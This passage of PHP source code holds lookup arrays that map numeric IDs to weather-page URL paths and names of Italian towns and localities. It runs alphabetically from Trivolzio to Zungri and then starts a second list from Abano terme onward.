\"/meteo/Trivolzio\",7485 => \"/meteo/Trodena\",7486 => \"/meteo/Trofarello\",7487 => \"/meteo/Troia\",7488 => \"/meteo/Troina\",7489 => \"/meteo/Tromello\",7490 => \"/meteo/Trontano\",7491 => \"/meteo/Tronzano+lago+maggiore\",7492 => \"/meteo/Tronzano+vercellese\",7493 => \"/meteo/Tropea\",7494 => \"/meteo/Trovo\",7495 => \"/meteo/Truccazzano\",7496 => \"/meteo/Tubre\",7497 => \"/meteo/Tuenno\",7498 => \"/meteo/Tufara\",7499 => \"/meteo/Tufillo\",7500 => \"/meteo/Tufino\",7501 => \"/meteo/Tufo\",7502 => \"/meteo/Tuglie\",7503 => \"/meteo/Tuili\",7504 => \"/meteo/Tula\",7505 => \"/meteo/Tuoro+sul+trasimeno\",7506 => \"/meteo/Turania\",7507 => \"/meteo/Turano+lodigiano\",7508 => \"/meteo/Turate\",7509 => \"/meteo/Turbigo\",7510 => \"/meteo/Turi\",7511 => \"/meteo/Turri\",7512 => \"/meteo/Turriaco\",7513 => \"/meteo/Turrivalignani\",8390 => \"/meteo/Tursi\",7515 => \"/meteo/Tusa\",7516 => \"/meteo/Tuscania\",7517 => \"/meteo/Ubiale+Clanezzo\",7518 => \"/meteo/Uboldo\",7519 => \"/meteo/Ucria\",7520 => \"/meteo/Udine\",7521 => \"/meteo/Ugento\",7522 => \"/meteo/Uggiano+la+chiesa\",7523 => \"/meteo/Uggiate+trevano\",7524 => \"/meteo/Ula'+Tirso\",7525 => \"/meteo/Ulassai\",7526 => \"/meteo/Ultimo\",7527 => \"/meteo/Umbertide\",7528 => \"/meteo/Umbriatico\",7529 => \"/meteo/Urago+d'Oglio\",7530 => \"/meteo/Uras\",7531 => \"/meteo/Urbana\",7532 => \"/meteo/Urbania\",7533 => \"/meteo/Urbe\",7534 => \"/meteo/Urbino\",7535 => \"/meteo/Urbisaglia\",7536 => \"/meteo/Urgnano\",7537 => \"/meteo/Uri\",7538 => \"/meteo/Ururi\",7539 => \"/meteo/Urzulei\",7540 => \"/meteo/Uscio\",7541 => \"/meteo/Usellus\",7542 => \"/meteo/Usini\",7543 => \"/meteo/Usmate+Velate\",7544 => \"/meteo/Ussana\",7545 => \"/meteo/Ussaramanna\",7546 => \"/meteo/Ussassai\",7547 => \"/meteo/Usseaux\",7548 => \"/meteo/Usseglio\",7549 => \"/meteo/Ussita\",7550 => \"/meteo/Ustica\",7551 => \"/meteo/Uta\",7552 => \"/meteo/Uzzano\",7553 => \"/meteo/Vaccarizzo+albanese\",7554 => \"/meteo/Vacone\",7555 => \"/meteo/Vacri\",7556 => \"/meteo/Vadena\",7557 => \"/meteo/Vado+ligure\",7558 => \"/meteo/Vagli+sotto\",7559 => \"/meteo/Vaglia\",8388 => \"/meteo/Vaglio+Basilicata\",7561 => \"/meteo/Vaglio+serra\",7562 => \"/meteo/Vaiano\",7563 => \"/meteo/Vaiano+cremasco\",7564 => \"/meteo/Vaie\",7565 => \"/meteo/Vailate\",7566 => \"/meteo/Vairano+Patenora\",7567 => \"/meteo/Vajont\",8511 => \"/meteo/Val+Canale\",7568 => \"/meteo/Val+della+torre\",8243 => \"/meteo/Val+di+Lei\",8237 => \"/meteo/Val+di+Luce\",7569 => \"/meteo/Val+di+nizza\",8440 => \"/meteo/Val+di+Sangro+casello\",7570 => \"/meteo/Val+di+vizze\",8223 => \"/meteo/Val+Ferret\",8521 => \"/meteo/Val+Grauson\",7571 => \"/meteo/Val+Masino\",7572 => \"/meteo/Val+Rezzo\",8215 => \"/meteo/Val+Senales\",8522 => \"/meteo/Val+Urtier\",8224 => \"/meteo/Val+Veny\",7573 => \"/meteo/Valbondione\",7574 => \"/meteo/Valbrembo\",7575 => \"/meteo/Valbrevenna\",7576 => \"/meteo/Valbrona\",8311 => \"/meteo/Valcava\",7577 => \"/meteo/Valda\",7578 => \"/meteo/Valdagno\",7579 => \"/meteo/Valdaora\",7580 => \"/meteo/Valdastico\",7581 => \"/meteo/Valdengo\",7582 => \"/meteo/Valderice\",7583 => \"/meteo/Valdidentro\",7584 => \"/meteo/Valdieri\",7585 => \"/meteo/Valdina\",7586 => \"/meteo/Valdisotto\",7587 => \"/meteo/Valdobbiadene\",7588 => \"/meteo/Valduggia\",7589 => \"/meteo/Valeggio\",7590 => \"/meteo/Valeggio+sul+Mincio\",7591 => \"/meteo/Valentano\",7592 => \"/meteo/Valenza\",7593 => \"/meteo/Valenzano\",7594 => \"/meteo/Valera+fratta\",7595 => \"/meteo/Valfabbrica\",7596 => \"/meteo/Valfenera\",7597 => \"/meteo/Valfloriana\",7598 => \"/meteo/Valfurva\",7599 => \"/meteo/Valganna\",7600 => \"/meteo/Valgioie\",7601 => \"/meteo/Valgoglio\",7602 => \"/meteo/Valgrana\",7603 => \"/meteo/Valgreghentino\",7604 => \"/meteo/Valgrisenche\",7605 => \"/meteo/Valguarnera+caropepe\",8344 => \"/meteo/Valico+Citerna\",8510 => \"/meteo/Valico+dei+Giovi\",8318 => \"/meteo/Valico+di+Monforte\",8509 => \"/meteo/Valico+di+Montemiletto\",8507 => \"/meteo/Valico+di+Scampitella\",7606 => \"/meteo/Vallada+agordina\",7607 => \"/meteo/Vallanzengo\",7608 => \"/meteo/Vallarsa\",7609 => \"/meteo/Vallata\",7610 => \"/meteo/Valle+agricola\",7611 => \"/meteo/Valle+Aurina\",7612 => \"/meteo/Valle+castellana\",8444 => \"/meteo/Valle+del+salto\",7613 => \"/meteo/Valle+dell'Angelo\",7614 => \"/meteo/Valle+di+Cadore\",7615 => \"/meteo/Valle+di+Casies\",7616 => \"/meteo/Valle+di+maddaloni\",7617 => \"/meteo/Valle+lomellina\",7618 => \"/meteo/Valle+mosso\",7619 => \"/meteo/Valle+salimbene\",7620 => \"/meteo/Valle+San+Nicolao\",7621 => \"/meteo/Vallebona\",7622 => \"/meteo/Vallecorsa\",7623 => \"/meteo/Vallecrosia\",7624 => \"/meteo/Valledolmo\",7625 => \"/meteo/Valledoria\",7626 => \"/meteo/Vallefiorita\",7627 => \"/meteo/Vallelonga\",7628 => \"/meteo/Vallelunga+pratameno\",7629 => \"/meteo/Vallemaio\",7630 => \"/meteo/Vallepietra\",7631 => \"/meteo/Vallerano\",7632 => \"/meteo/Vallermosa\",7633 => \"/meteo/Vallerotonda\",7634 => \"/meteo/Vallesaccarda\",8749 => \"/meteo/Valletta\",7635 => \"/meteo/Valleve\",7636 => \"/meteo/Valli+del+Pasubio\",7637 => \"/meteo/Vallinfreda\",7638 => \"/meteo/Vallio+terme\",7639 => \"/meteo/Vallo+della+Lucania\",7640 => \"/meteo/Vallo+di+Nera\",7641 => \"/meteo/Vallo+torinese\",8191 => \"/meteo/Vallombrosa\",8471 => \"/meteo/Vallon\",7642 => \"/meteo/Valloriate\",7643 => \"/meteo/Valmacca\",7644 => \"/meteo/Valmadrera\",7645 => \"/meteo/Valmala\",8313 => \"/meteo/Valmasino\",7646 => \"/meteo/Valmontone\",7647 => \"/meteo/Valmorea\",7648 => \"/meteo/Valmozzola\",7649 => \"/meteo/Valnegra\",7650 => \"/meteo/Valpelline\",7651 => \"/meteo/Valperga\",7652 => \"/meteo/Valprato+Soana\",7653 => \"/meteo/Valsavarenche\",7654 => \"/meteo/Valsecca\",7655 => \"/meteo/Valsinni\",7656 => \"/meteo/Valsolda\",7657 => \"/meteo/Valstagna\",7658 => \"/meteo/Valstrona\",7659 => \"/meteo/Valtopina\",7660 => \"/meteo/Valtorta\",8148 => \"/meteo/Valtorta+impianti\",7661 => \"/meteo/Valtournenche\",7662 => \"/meteo/Valva\",7663 => \"/meteo/Valvasone\",7664 => \"/meteo/Valverde\",7665 => \"/meteo/Valverde\",7666 => \"/meteo/Valvestino\",7667 => \"/meteo/Vandoies\",7668 => \"/meteo/Vanzaghello\",7669 => \"/meteo/Vanzago\",7670 => \"/meteo/Vanzone+con+San+Carlo\",7671 => \"/meteo/Vaprio+d'Adda\",7672 => \"/meteo/Vaprio+d'Agogna\",7673 => \"/meteo/Varallo\",7674 => \"/meteo/Varallo+Pombia\",7675 => \"/meteo/Varano+Borghi\",7676 => \"/meteo/Varano+de'+Melegari\",7677 => \"/meteo/Varapodio\",7678 => \"/meteo/Varazze\",8600 => \"/meteo/Varcaturo\",7679 => \"/meteo/Varco+sabino\",7680 => \"/meteo/Varedo\",7681 => \"/meteo/Varena\",7682 => \"/meteo/Varenna\",7683 => \"/meteo/Varese\",7684 => \"/meteo/Varese+ligure\",8284 => \"/meteo/Varigotti\",7685 => \"/meteo/Varisella\",7686 => \"/meteo/Varmo\",7687 => \"/meteo/Varna\",7688 => \"/meteo/Varsi\",7689 => \"/meteo/Varzi\",7690 => \"/meteo/Varzo\",7691 => \"/meteo/Vas\",7692 => \"/meteo/Vasanello\",7693 => \"/meteo/Vasia\",7694 => \"/meteo/Vasto\",7695 => \"/meteo/Vastogirardi\",7696 => \"/meteo/Vattaro\",7697 => \"/meteo/Vauda+canavese\",7698 => \"/meteo/Vazzano\",7699 => \"/meteo/Vazzola\",7700 => \"/meteo/Vecchiano\",7701 => \"/meteo/Vedano+al+Lambro\",7702 => \"/meteo/Vedano+Olona\",7703 => \"/meteo/Veddasca\",7704 => \"/meteo/Vedelago\",7705 => \"/meteo/Vedeseta\",7706 => \"/meteo/Veduggio+con+Colzano\",7707 => \"/meteo/Veggiano\",7708 => \"/meteo/Veglie\",7709 => \"/meteo/Veglio\",7710 => \"/meteo/Vejano\",7711 => \"/meteo/Veleso\",7712 => \"/meteo/Velezzo+lomellina\",8530 => \"/meteo/Vellano\",7713 => \"/meteo/Velletri\",7714 => \"/meteo/Vellezzo+Bellini\",7715 => \"/meteo/Velo+d'Astico\",7716 => \"/meteo/Velo+veronese\",7717 => \"/meteo/Velturno\",7718 => \"/meteo/Venafro\",7719 => \"/meteo/Venaria\",7720 => \"/meteo/Venarotta\",7721 => \"/meteo/Venasca\",7722 => \"/meteo/Venaus\",7723 => \"/meteo/Vendone\",7724 => \"/meteo/Vendrogno\",7725 => \"/meteo/Venegono+inferiore\",7726 => \"/meteo/Venegono+superiore\",7727 => \"/meteo/Venetico\",7728 => \"/meteo/Venezia\",8502 => \"/meteo/Venezia+Mestre\",8268 => \"/meteo/Venezia+Tessera\",7729 => \"/meteo/Veniano\",7730 => \"/meteo/Venosa\",7731 => \"/meteo/Venticano\",7732 => \"/meteo/Ventimiglia\",7733 => \"/meteo/Ventimiglia+di+Sicilia\",7734 => \"/meteo/Ventotene\",7735 => \"/meteo/Venzone\",7736 => \"/meteo/Verano\",7737 => \"/meteo/Verano+brianza\",7738 => \"/meteo/Verbania\",7739 => \"/meteo/Verbicaro\",7740 => \"/meteo/Vercana\",7741 => \"/meteo/Verceia\",7742 => \"/meteo/Vercelli\",7743 => \"/meteo/Vercurago\",7744 => \"/meteo/Verdellino\",7745 => \"/meteo/Verdello\",7746 => \"/meteo/Verderio+inferiore\",7747 => \"/meteo/Verderio+superiore\",7748 => \"/meteo/Verduno\",7749 => \"/meteo/Vergato\",7750 => \"/meteo/Vergemoli\",7751 => \"/meteo/Verghereto\",7752 => \"/meteo/Vergiate\",7753 => \"/meteo/Vermezzo\",7754 => \"/meteo/Vermiglio\",8583 => \"/meteo/Vernago\",7755 => \"/meteo/Vernante\",7756 => \"/meteo/Vernasca\",7757 => \"/meteo/Vernate\",7758 => \"/meteo/Vernazza\",7759 => \"/meteo/Vernio\",7760 => \"/meteo/Vernole\",7761 => \"/meteo/Verolanuova\",7762 => \"/meteo/Verolavecchia\",7763 => \"/meteo/Verolengo\",7764 => \"/meteo/Veroli\",7765 => \"/meteo/Verona\",8269 => \"/meteo/Verona+Villafranca\",7766 => \"/meteo/Veronella\",7767 => \"/meteo/Verrayes\",7768 => \"/meteo/Verres\",7769 => \"/meteo/Verretto\",7770 => \"/meteo/Verrone\",7771 => \"/meteo/Verrua+po\",7772 => \"/meteo/Verrua+Savoia\",7773 => \"/meteo/Vertemate+con+Minoprio\",7774 => \"/meteo/Vertova\",7775 => \"/meteo/Verucchio\",7776 => \"/meteo/Veruno\",7777 => \"/meteo/Vervio\",7778 => \"/meteo/Vervo'\",7779 => \"/meteo/Verzegnis\",7780 => \"/meteo/Verzino\",7781 => \"/meteo/Verzuolo\",7782 => \"/meteo/Vescovana\",7783 => \"/meteo/Vescovato\",7784 => \"/meteo/Vesime\",7785 => \"/meteo/Vespolate\",7786 => \"/meteo/Vessalico\",7787 => \"/meteo/Vestenanova\",7788 => \"/meteo/Vestigne'\",7789 => \"/meteo/Vestone\",7790 => \"/meteo/Vestreno\",7791 => \"/meteo/Vetralla\",7792 => \"/meteo/Vetto\",7793 => \"/meteo/Vezza+d'Alba\",7794 => \"/meteo/Vezza+d'Oglio\",7795 => \"/meteo/Vezzano\",7796 => \"/meteo/Vezzano+ligure\",7797 => \"/meteo/Vezzano+sul+crostolo\",7798 => \"/meteo/Vezzi+portio\",8317 => \"/meteo/Vezzo\",7799 => \"/meteo/Viadana\",7800 => \"/meteo/Viadanica\",7801 => \"/meteo/Viagrande\",7802 => \"/meteo/Viale\",7803 => \"/meteo/Vialfre'\",7804 => \"/meteo/Viano\",7805 => \"/meteo/Viareggio\",7806 => \"/meteo/Viarigi\",8674 => \"/meteo/Vibo+Marina\",7807 => \"/meteo/Vibo+Valentia\",7808 => \"/meteo/Vibonati\",7809 => \"/meteo/Vicalvi\",7810 => \"/meteo/Vicari\",7811 => \"/meteo/Vicchio\",7812 => \"/meteo/Vicenza\",7813 => \"/meteo/Vico+canavese\",7814 => \"/meteo/Vico+del+Gargano\",7815 => \"/meteo/Vico+Equense\",7816 => \"/meteo/Vico+nel+Lazio\",7817 => \"/meteo/Vicoforte\",7818 => \"/meteo/Vicoli\",7819 => \"/meteo/Vicolungo\",7820 => \"/meteo/Vicopisano\",7821 => \"/meteo/Vicovaro\",7822 => \"/meteo/Viddalba\",7823 => \"/meteo/Vidigulfo\",7824 => \"/meteo/Vidor\",7825 => \"/meteo/Vidracco\",7826 => \"/meteo/Vieste\",7827 => \"/meteo/Vietri+di+Potenza\",7828 => \"/meteo/Vietri+sul+mare\",7829 => \"/meteo/Viganella\",7830 => \"/meteo/Vigano+San+Martino\",7831 => \"/meteo/Vigano'\",7832 => \"/meteo/Vigarano+Mainarda\",7833 => \"/meteo/Vigasio\",7834 => \"/meteo/Vigevano\",7835 => \"/meteo/Viggianello\",7836 => \"/meteo/Viggiano\",7837 => \"/meteo/Viggiu'\",7838 => \"/meteo/Vighizzolo+d'Este\",7839 => \"/meteo/Vigliano+biellese\",7840 => \"/meteo/Vigliano+d'Asti\",7841 => \"/meteo/Vignale+monferrato\",7842 => \"/meteo/Vignanello\",7843 => \"/meteo/Vignate\",8125 => \"/meteo/Vignola\",7845 => \"/meteo/Vignola+Falesina\",7846 => \"/meteo/Vignole+Borbera\",7847 => \"/meteo/Vignolo\",7848 => \"/meteo/Vignone\",8514 => \"/meteo/Vigo+Ciampedie\",7849 => \"/meteo/Vigo+di+Cadore\",7850 => \"/meteo/Vigo+di+Fassa\",7851 => \"/meteo/Vigo+Rendena\",7852 => \"/meteo/Vigodarzere\",7853 => \"/meteo/Vigolo\",7854 => \"/meteo/Vigolo+Vattaro\",7855 => \"/meteo/Vigolzone\",7856 => \"/meteo/Vigone\",7857 => \"/meteo/Vigonovo\",7858 => \"/meteo/Vigonza\",7859 => \"/meteo/Viguzzolo\",7860 => \"/meteo/Villa+agnedo\",7861 => \"/meteo/Villa+bartolomea\",7862 => \"/meteo/Villa+basilica\",7863 => \"/meteo/Villa+biscossi\",7864 => \"/meteo/Villa+carcina\",7865 => \"/meteo/Villa+castelli\",7866 => \"/meteo/Villa+celiera\",7867 => \"/meteo/Villa+collemandina\",7868 => \"/meteo/Villa+cortese\",7869 => \"/meteo/Villa+d'Adda\",7870 => \"/meteo/Villa+d'Alme'\",7871 => \"/meteo/Villa+d'Ogna\",7872 => \"/meteo/Villa+del+bosco\",7873 => \"/meteo/Villa+del+conte\",7874 => \"/meteo/Villa+di+briano\",7875 => \"/meteo/Villa+di+Chiavenna\",7876 => \"/meteo/Villa+di+Serio\",7877 => \"/meteo/Villa+di+Tirano\",7878 => \"/meteo/Villa+Estense\",7879 => \"/meteo/Villa+Faraldi\",7880 => \"/meteo/Villa+Guardia\",7881 => \"/meteo/Villa+Lagarina\",7882 => \"/meteo/Villa+Latina\",7883 => \"/meteo/Villa+Literno\",7884 => \"/meteo/Villa+minozzo\",7885 => \"/meteo/Villa+poma\",7886 => \"/meteo/Villa+rendena\",7887 => \"/meteo/Villa+San+Giovanni\",7888 => \"/meteo/Villa+San+Giovanni+in+Tuscia\",7889 => \"/meteo/Villa+San+Pietro\",7890 => \"/meteo/Villa+San+Secondo\",7891 => \"/meteo/Villa+Sant'Angelo\",7892 => \"/meteo/Villa+Sant'Antonio\",7893 => \"/meteo/Villa+Santa+Lucia\",7894 => \"/meteo/Villa+Santa+Lucia+degli+Abruzzi\",7895 => \"/meteo/Villa+Santa+Maria\",7896 => \"/meteo/Villa+Santina\",7897 => \"/meteo/Villa+Santo+Stefano\",7898 => \"/meteo/Villa+verde\",7899 => \"/meteo/Villa+vicentina\",7900 => \"/meteo/Villabassa\",7901 => \"/meteo/Villabate\",7902 => \"/meteo/Villachiara\",7903 => \"/meteo/Villacidro\",7904 => \"/meteo/Villadeati\",7905 => \"/meteo/Villadose\",7906 => \"/meteo/Villadossola\",7907 => \"/meteo/Villafalletto\",7908 => \"/meteo/Villafranca+d'Asti\",7909 => \"/meteo/Villafranca+di+Verona\",7910 => \"/meteo/Villafranca+in+Lunigiana\",7911 => \"/meteo/Villafranca+padovana\",7912 => \"/meteo/Villafranca+Piemonte\",7913 => \"/meteo/Villafranca+sicula\",7914 => \"/meteo/Villafranca+tirrena\",7915 => \"/meteo/Villafrati\",7916 => \"/meteo/Villaga\",7917 => \"/meteo/Villagrande+Strisaili\",7918 => \"/meteo/Villalago\",7919 => \"/meteo/Villalba\",7920 => \"/meteo/Villalfonsina\",7921 => \"/meteo/Villalvernia\",7922 => \"/meteo/Villamagna\",7923 => \"/meteo/Villamaina\",7924 => \"/meteo/Villamar\",7925 => \"/meteo/Villamarzana\",7926 => \"/meteo/Villamassargia\",7927 => \"/meteo/Villamiroglio\",7928 => \"/meteo/Villandro\",7929 => \"/meteo/Villanova+biellese\",7930 => \"/meteo/Villanova+canavese\",7931 => \"/meteo/Villanova+d'Albenga\",7932 => \"/meteo/Villanova+d'Ardenghi\",7933 => \"/meteo/Villanova+d'Asti\",7934 => \"/meteo/Villanova+del+Battista\",7935 => \"/meteo/Villanova+del+Ghebbo\",7936 => \"/meteo/Villanova+del+Sillaro\",7937 => \"/meteo/Villanova+di+Camposampiero\",7938 => \"/meteo/Villanova+marchesana\",7939 => \"/meteo/Villanova+Mondovi'\",7940 => \"/meteo/Villanova+Monferrato\",7941 => \"/meteo/Villanova+Monteleone\",7942 => \"/meteo/Villanova+solaro\",7943 => \"/meteo/Villanova+sull'Arda\",7944 => \"/meteo/Villanova+Truschedu\",7945 => \"/meteo/Villanova+Tulo\",7946 => \"/meteo/Villanovaforru\",7947 => \"/meteo/Villanovafranca\",7948 => \"/meteo/Villanterio\",7949 => \"/meteo/Villanuova+sul+Clisi\",7950 => \"/meteo/Villaperuccio\",7951 => \"/meteo/Villapiana\",7952 => \"/meteo/Villaputzu\",7953 => \"/meteo/Villar+dora\",7954 => \"/meteo/Villar+focchiardo\",7955 => \"/meteo/Villar+pellice\",7956 => \"/meteo/Villar+Perosa\",7957 => \"/meteo/Villar+San+Costanzo\",7958 => \"/meteo/Villarbasse\",7959 => \"/meteo/Villarboit\",7960 => \"/meteo/Villareggia\",7961 => \"/meteo/Villaricca\",7962 => \"/meteo/Villaromagnano\",7963 => \"/meteo/Villarosa\",7964 => \"/meteo/Villasalto\",7965 => \"/meteo/Villasanta\",7966 => \"/meteo/Villasimius\",7967 => \"/meteo/Villasor\",7968 => \"/meteo/Villaspeciosa\",7969 => \"/meteo/Villastellone\",7970 => \"/meteo/Villata\",7971 => \"/meteo/Villaurbana\",7972 => \"/meteo/Villavallelonga\",7973 => \"/meteo/Villaverla\",7974 => \"/meteo/Villeneuve\",7975 => \"/meteo/Villesse\",7976 => \"/meteo/Villetta+Barrea\",7977 => \"/meteo/Villette\",7978 => \"/meteo/Villimpenta\",7979 => \"/meteo/Villongo\",7980 => \"/meteo/Villorba\",7981 => \"/meteo/Vilminore+di+scalve\",7982 => \"/meteo/Vimercate\",7983 => \"/meteo/Vimodrone\",7984 => \"/meteo/Vinadio\",7985 => \"/meteo/Vinchiaturo\",7986 => \"/meteo/Vinchio\",7987 => \"/meteo/Vinci\",7988 => \"/meteo/Vinovo\",7989 => \"/meteo/Vinzaglio\",7990 => \"/meteo/Viola\",7991 => \"/meteo/Vione\",7992 => \"/meteo/Vipiteno\",7993 => \"/meteo/Virgilio\",7994 => \"/meteo/Virle+Piemonte\",7995 => \"/meteo/Visano\",7996 => \"/meteo/Vische\",7997 => \"/meteo/Visciano\",7998 => \"/meteo/Visco\",7999 => \"/meteo/Visone\",8000 => \"/meteo/Visso\",8001 => \"/meteo/Vistarino\",8002 => \"/meteo/Vistrorio\",8003 => \"/meteo/Vita\",8004 => \"/meteo/Viterbo\",8005 => \"/meteo/Viticuso\",8006 => \"/meteo/Vito+d'Asio\",8007 => \"/meteo/Vitorchiano\",8008 => \"/meteo/Vittoria\",8009 => \"/meteo/Vittorio+Veneto\",8010 => \"/meteo/Vittorito\",8011 => \"/meteo/Vittuone\",8012 => \"/meteo/Vitulano\",8013 => \"/meteo/Vitulazio\",8014 => \"/meteo/Viu'\",8015 => \"/meteo/Vivaro\",8016 => \"/meteo/Vivaro+romano\",8017 => \"/meteo/Viverone\",8018 => \"/meteo/Vizzini\",8019 => \"/meteo/Vizzola+Ticino\",8020 => \"/meteo/Vizzolo+Predabissi\",8021 => \"/meteo/Vo'\",8022 => \"/meteo/Vobarno\",8023 => \"/meteo/Vobbia\",8024 => \"/meteo/Vocca\",8025 => \"/meteo/Vodo+cadore\",8026 => \"/meteo/Voghera\",8027 => \"/meteo/Voghiera\",8028 => \"/meteo/Vogogna\",8029 => \"/meteo/Volano\",8030 => \"/meteo/Volla\",8031 => \"/meteo/Volongo\",8032 => \"/meteo/Volpago+del+montello\",8033 => \"/meteo/Volpara\",8034 => \"/meteo/Volpedo\",8035 => \"/meteo/Volpeglino\",8036 => \"/meteo/Volpiano\",8037 => \"/meteo/Volta+mantovana\",8038 => \"/meteo/Voltaggio\",8039 => \"/meteo/Voltago+agordino\",8040 => \"/meteo/Volterra\",8041 => \"/meteo/Voltido\",8042 => \"/meteo/Volturara+Appula\",8043 => \"/meteo/Volturara+irpina\",8044 => \"/meteo/Volturino\",8045 => \"/meteo/Volvera\",8046 => \"/meteo/Vottignasco\",8181 => \"/meteo/Vulcano+Porto\",8047 => \"/meteo/Zaccanopoli\",8048 => \"/meteo/Zafferana+etnea\",8049 => \"/meteo/Zagarise\",8050 => \"/meteo/Zagarolo\",8051 => \"/meteo/Zambana\",8707 => \"/meteo/Zambla\",8052 => \"/meteo/Zambrone\",8053 => \"/meteo/Zandobbio\",8054 => \"/meteo/Zane'\",8055 => \"/meteo/Zanica\",8056 => \"/meteo/Zapponeta\",8057 => \"/meteo/Zavattarello\",8058 => \"/meteo/Zeccone\",8059 => \"/meteo/Zeddiani\",8060 => \"/meteo/Zelbio\",8061 => \"/meteo/Zelo+Buon+Persico\",8062 => \"/meteo/Zelo+Surrigone\",8063 => \"/meteo/Zeme\",8064 => \"/meteo/Zenevredo\",8065 => \"/meteo/Zenson+di+Piave\",8066 => \"/meteo/Zerba\",8067 => \"/meteo/Zerbo\",8068 => \"/meteo/Zerbolo'\",8069 => \"/meteo/Zerfaliu\",8070 => \"/meteo/Zeri\",8071 => \"/meteo/Zermeghedo\",8072 => \"/meteo/Zero+Branco\",8073 => \"/meteo/Zevio\",8455 => \"/meteo/Ziano+di+Fiemme\",8075 => \"/meteo/Ziano+piacentino\",8076 => \"/meteo/Zibello\",8077 => \"/meteo/Zibido+San+Giacomo\",8078 => \"/meteo/Zignago\",8079 => \"/meteo/Zimella\",8080 => \"/meteo/Zimone\",8081 => \"/meteo/Zinasco\",8082 => \"/meteo/Zoagli\",8083 => \"/meteo/Zocca\",8084 => \"/meteo/Zogno\",8085 => \"/meteo/Zola+Predosa\",8086 => \"/meteo/Zoldo+alto\",8087 => \"/meteo/Zollino\",8088 => \"/meteo/Zone\",8089 => \"/meteo/Zoppe'+di+cadore\",8090 => \"/meteo/Zoppola\",8091 => \"/meteo/Zovencedo\",8092 => \"/meteo/Zubiena\",8093 => \"/meteo/Zuccarello\",8094 => \"/meteo/Zuclo\",8095 => \"/meteo/Zugliano\",8096 => \"/meteo/Zuglio\",8097 => \"/meteo/Zumaglia\",8098 => \"/meteo/Zumpano\",8099 => \"/meteo/Zungoli\",8100 => \"/meteo/Zungri\");\n\n$trebi_locs = array(1 => \"Abano terme\",2 => \"Abbadia cerreto\",3 => \"Abbadia lariana\",4 => \"Abbadia San Salvatore\",5 => \"Abbasanta\",6 => \"Abbateggio\",7 => \"Abbiategrasso\",8 => \"Abetone\",8399 => \"Abriola\",10 => \"Acate\",11 => \"Accadia\",12 => \"Acceglio\",8369 => \"Accettura\",14 => \"Acciano\",15 => \"Accumoli\",16 => \"Acerenza\",17 => \"Acerno\",18 => \"Acerra\",19 => \"Aci bonaccorsi\",20 => \"Aci castello\",21 => \"Aci Catena\",22 => \"Aci Sant'Antonio\",23 => \"Acireale\",24 => \"Acquacanina\",25 => \"Acquafondata\",26 => \"Acquaformosa\",27 => \"Acquafredda\",8750 => \"Acquafredda\",28 => \"Acqualagna\",29 => \"Acquanegra cremonese\",30 => \"Acquanegra sul chiese\",31 => \"Acquapendente\",32 => \"Acquappesa\",33 => \"Acquarica del capo\",34 => \"Acquaro\",35 => \"Acquasanta terme\",36 => \"Acquasparta\",37 => \"Acquaviva collecroce\",38 => \"Acquaviva d'Isernia\",39 => \"Acquaviva delle fonti\",40 => \"Acquaviva picena\",41 => \"Acquaviva platani\",42 => \"Acquedolci\",43 => \"Acqui terme\",44 => \"Acri\",45 => \"Acuto\",46 => \"Adelfia\",47 => \"Adrano\",48 => \"Adrara San Martino\",49 => \"Adrara San Rocco\",50 => \"Adria\",51 => \"Adro\",52 => \"Affi\",53 => \"Affile\",54 => \"Afragola\",55 => \"Africo\",56 => \"Agazzano\",57 => \"Agerola\",58 => \"Aggius\",59 => \"Agira\",60 => \"Agliana\",61 => \"Agliano\",62 => \"Aglie'\",63 => \"Aglientu\",64 => \"Agna\",65 => \"Agnadello\",66 => \"Agnana calabra\",8598 => \"Agnano\",67 => \"Agnone\",68 => \"Agnosine\",69 => \"Agordo\",70 => \"Agosta\",71 => \"Agra\",72 => \"Agrate brianza\",73 => \"Agrate conturbia\",74 => \"Agrigento\",75 => \"Agropoli\",76 => \"Agugliano\",77 => \"Agugliaro\",78 => \"Aicurzio\",79 => \"Aidomaggiore\",80 => \"Aidone\",81 => \"Aielli\",82 => \"Aiello calabro\",83 => \"Aiello del Friuli\",84 => \"Aiello del Sabato\",85 => \"Aieta\",86 => \"Ailano\",87 => \"Ailoche\",88 => \"Airasca\",89 => \"Airola\",90 => \"Airole\",91 => \"Airuno\",92 => \"Aisone\",93 => \"Ala\",94 => \"Ala di Stura\",95 => \"Ala' dei Sardi\",96 => \"Alagna\",97 => \"Alagna Valsesia\",98 => \"Alanno\",99 => \"Alano di Piave\",100 => \"Alassio\",101 => \"Alatri\",102 => \"Alba\",103 => \"Alba adriatica\",104 => \"Albagiara\",105 => \"Albairate\",106 => \"Albanella\",8386 => \"Albano di lucania\",108 => \"Albano laziale\",109 => \"Albano Sant'Alessandro\",110 => \"Albano vercellese\",111 => \"Albaredo arnaboldi\",112 => \"Albaredo d'Adige\",113 => \"Albaredo per San Marco\",114 => \"Albareto\",115 => \"Albaretto della torre\",116 => \"Albavilla\",117 => \"Albenga\",118 => \"Albera ligure\",119 => \"Alberobello\",120 => \"Alberona\",121 => \"Albese con Cassano\",122 => \"Albettone\",123 => \"Albi\",124 => \"Albiano\",125 => \"Albiano d'ivrea\",126 => \"Albiate\",127 => \"Albidona\",128 => \"Albignasego\",129 => \"Albinea\",130 => \"Albino\",131 => \"Albiolo\",132 => \"Albisola marina\",133 => \"Albisola superiore\",134 => \"Albizzate\",135 => \"Albonese\",136 => \"Albosaggia\",137 => \"Albugnano\",138 => \"Albuzzano\",139 => \"Alcamo\",140 => \"Alcara li Fusi\",141 => \"Aldeno\",142 => \"Aldino\",143 => \"Ales\",144 => \"Alessandria\",145 => \"Alessandria del Carretto\",146 => \"Alessandria della Rocca\",147 => \"Alessano\",148 => \"Alezio\",149 => \"Alfano\",150 => \"Alfedena\",151 => \"Alfianello\",152 => \"Alfiano natta\",153 => \"Alfonsine\",154 => \"Alghero\",8532 => \"Alghero Fertilia\",155 => \"Algua\",156 => \"Ali'\",157 => \"Ali' terme\",158 => \"Alia\",159 => \"Aliano\",160 => \"Alice bel colle\",161 => \"Alice castello\",162 => \"Alice superiore\",163 => \"Alife\",164 => \"Alimena\",165 => \"Aliminusa\",166 => \"Allai\",167 => \"Alleghe\",168 => \"Allein\",169 => \"Allerona\",170 => \"Alliste\",171 => \"Allumiere\",172 => \"Alluvioni cambio'\",173 => \"Alme'\",174 => \"Almenno San Bartolomeo\",175 => \"Almenno San Salvatore\",176 => \"Almese\",177 => \"Alonte\",8259 => \"Alpe Cermis\",8557 => \"Alpe Devero\",8162 => \"Alpe di Mera\",8565 => \"Alpe di Siusi\",8755 => \"Alpe Giumello\",8264 => \"Alpe Lusia\",8559 => \"Alpe Nevegal\",8239 => \"Alpe Tre 